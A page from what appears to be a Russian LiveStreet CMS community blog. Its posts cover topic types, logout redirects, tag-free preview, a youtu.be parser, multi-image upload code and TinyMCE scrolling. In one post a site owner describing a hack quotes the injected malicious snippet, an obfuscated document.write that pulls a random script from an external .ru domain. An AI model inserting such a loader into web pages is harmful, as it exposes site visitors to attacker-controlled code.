+22.15
Рейтинг
88.90
Сила

Новый функционал топиков

В разрабатываемой новой версии LS ( github.com/livestreet/livestreet ) мы переработали функционал топиков.

В первую очередь избавились от жесткого разделения на типы (топик, опрос, фотосет, ссылка). Добавили возможность самому создавать произвольные типы топиков, которые могут отличаться набором полей. Управление полями топиков происходит через новый функционал EAV (модуль Property), на данный момент доступны типы: число, строка, большой текст, выбор из списка, дата, теги, чекбокс, ссылка на видео (youtube, vimeo, rutube).

Читать дальше →

Редирект при выходе (logout)

При logout-е мы видим «Обязательно приходите ещё», затем через 3 сек. происходит refresh на главную.
Здесь было много вопросов как убрать редирект на «Обязательно приходите ещё», есть и решения.

Вопрос в том, как сделать чтобы после «Обязательно приходите ещё» происходил редирект на ту страницу откуда осуществлялся выход.

Например при входе это реализуется строкой:
<input type="hidden" name="return-path" value="{$PATH_WEB_CURRENT|escape:'html'}">

Как бы сделать то же самое при выходе?

Возможность предпросмотра при публикации без тегов.

Ситуация такая:
Пользователь пишет топик, идет творческий процесс… Вот он после первого абзаца (вставки картинки и т.п.) решил воспользоваться предпросмотром. Получает alert — "Необходимо заполнить теги..." (так настроено в конфиге). Заполняет теги и тем самым отвлекается от сути топика.

Предложение:
Сделать возможность предпросмотра без заполненных тегов, если нет тегов — то над предпросмотром выводим фразу типа "Внимание! Перед публикацией не забудьте заполнить теги" или "Внимание! публикация возможна только при наличии тегов". Если теги уже есть — то такое сообщение не выводим.

Вопрос:
Пока я не задумывался о реализации. Может у кого был подобный опыт?

UPD: Решение, позволяющее не вводить теги при предпросмотре (by AlikMis )
в файле \classes\actions\ActionAjax.class.php в строке 987
$oTopic->_Validate(array('topic_title','topic_text','topic_tags','topic_type'),false);
убираем 'topic_tags',

youtu.be

Код обработки новых share-ссылок с youtube.com

/engine/modules/text/Text.class.php
public function VideoParser($sText) {
/**
 * youtu.be
 */
$sText = preg_replace(
        '/<video>http:\/\/(?:www\.|)youtu.be\/([a-zA-Z0-9_\-]+)(&.+)?<\/video>/Ui', 
        '<iframe width="560" height="315" src="http://www.youtube.com/embed/$1?rel=0" frameborder="0" allowfullscreen></iframe>', 
        $sText);

Как защитить сайт от взлома?

Всем привет!

Хочу поделиться некоторыми пережитым опытом и услышать мнения специалистов.

Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).

В компилированные файлы шаблона вставлялся код следующего вида
<script>;document.write('<'+'script src=http://fljjsh'+'dqkrqq.ru/'+Math.round(Math.random()*99999999)+'.js></'+'script'+'>');</script>


Читать дальше →

Мультизагрузка изображений

Простой (самый простой) способ реализовать мультизагрузку картинок.

В шаблоне правим window_load_img.tpl, делаем массив img_file[] и дописываем multiple
<input type="file" name="img_file[]" id="img_file" value="" class="input-text input-width-full" multiple />


И ActionAjax.class.php, вот функция EventUploadImage() целиком
	/**
	 * Загрузка изображения
	 *
	 */
	protected function EventUploadImage() {
		/**
		 * Т.к. используется обработка отправки формы, то устанавливаем тип ответа 'jsonIframe' (тот же JSON только обернутый в textarea)
		 * Это позволяет избежать ошибок в некоторых браузерах, например, Opera
		 */
		$this->Viewer_SetResponseAjax('jsonIframe',false);
		/**
		 * Пользователь авторизован?
		 */
		if (!$this->oUserCurrent) {
			$this->Message_AddErrorSingle($this->Lang_Get('need_authorization'),$this->Lang_Get('error'));
			return;
		}
		$sFile=null;
                
                
                if (isPost('img_url') && $_REQUEST['img_url']!='' && $_REQUEST['img_url']!='http://') {
                        /**
                         * Загрузка файла по URl
                         */
                        $sFile=$this->Topic_UploadTopicImageUrl($_REQUEST['img_url'],$this->oUserCurrent);
                        switch (true) {
                                case is_string($sFile):

                                        break;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_READ):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_read'),$this->Lang_Get('error'));
                                        return;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_SIZE):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_size'),$this->Lang_Get('error'));
                                        return;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_TYPE):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_type'),$this->Lang_Get('error'));
                                        return;

                                default:
                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error'),$this->Lang_Get('error'));
                                        return;
                        }

                        if ($sFile) {                        
                                $sText=$this->Image_BuildHTML($sFile, $_REQUEST);
                        }

                } else {

                        foreach ($_FILES['img_file'] as $k=>$v){
                           if(is_array($v)){
                               foreach ($v as $sk=>$sv){ 
                                        $arr[$sk][$k]=$sv;
                                }
                               }
                            }

                        $sText = "";

                        foreach ($arr as $_FILES['img_file']) {

                                /**
                                 * Был выбран файл с компьютера и он успешно зугрузился?
                                 */
                                if (is_uploaded_file($_FILES['img_file']['tmp_name'])) {

                                        if(!$sFile=$this->Topic_UploadTopicImageFile($_FILES['img_file'],$this->oUserCurrent)) {
                                                $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_file_error'),$this->Lang_Get('error'));
                                                return;
                                        }
                                        /**
                                         * Если файл успешно загружен, формируем HTML вставки и возвращаем в ajax ответе
                                         */
                                        if ($sFile) {
                                                $sText.=$this->Image_BuildHTML($sFile, $_REQUEST);
                                        }

                                }	

                        } //foreach

                }

		$this->Viewer_AssignAjax('sText',$sText);		
		
	}


такие дела

Как добавить вертикальную полосу прокрутки в окно ввода текста TinyMCE?

При написании большого текста поста/комментария окно ввода текста растягивается по вертикали вместо появления полосы прокрутки в нём, что было бы удобнее. Хотелось бы прокрутку всё же сделать

Поискал по блогу, нашёл вот эту ветку комментариев, обсуждается эта же проблема — livestreet.ru/blog/11372.html#comment174368. К сожалению, моих скромных знаний в CSS не хватает, чтобы проблему пофиксить. Буду признателен за помощь и подсказки

Переписать "blog" -> "community" и "personal_blog" -> "blog"

Приветствую. Только изучаю LS. Пытаюсь сделать, казалось бы, тривиальную вещь — пути «blog» переписать на «community» а «personal_blog» на «blog».(те коллективные все становятся «community», а персональные «blog»).
$config['router']['rewrite']

тут не поможет… Как сделать? Куда смотреть?

Как убрать страницу "Приходите к нам Еще"

Как убрать страницу «Приходите к нам Еще» после нажатия в юзербаре — выход.
Выход должен произойти на главную странице без перехода в экшн actions/ActionLogin/exit.tpl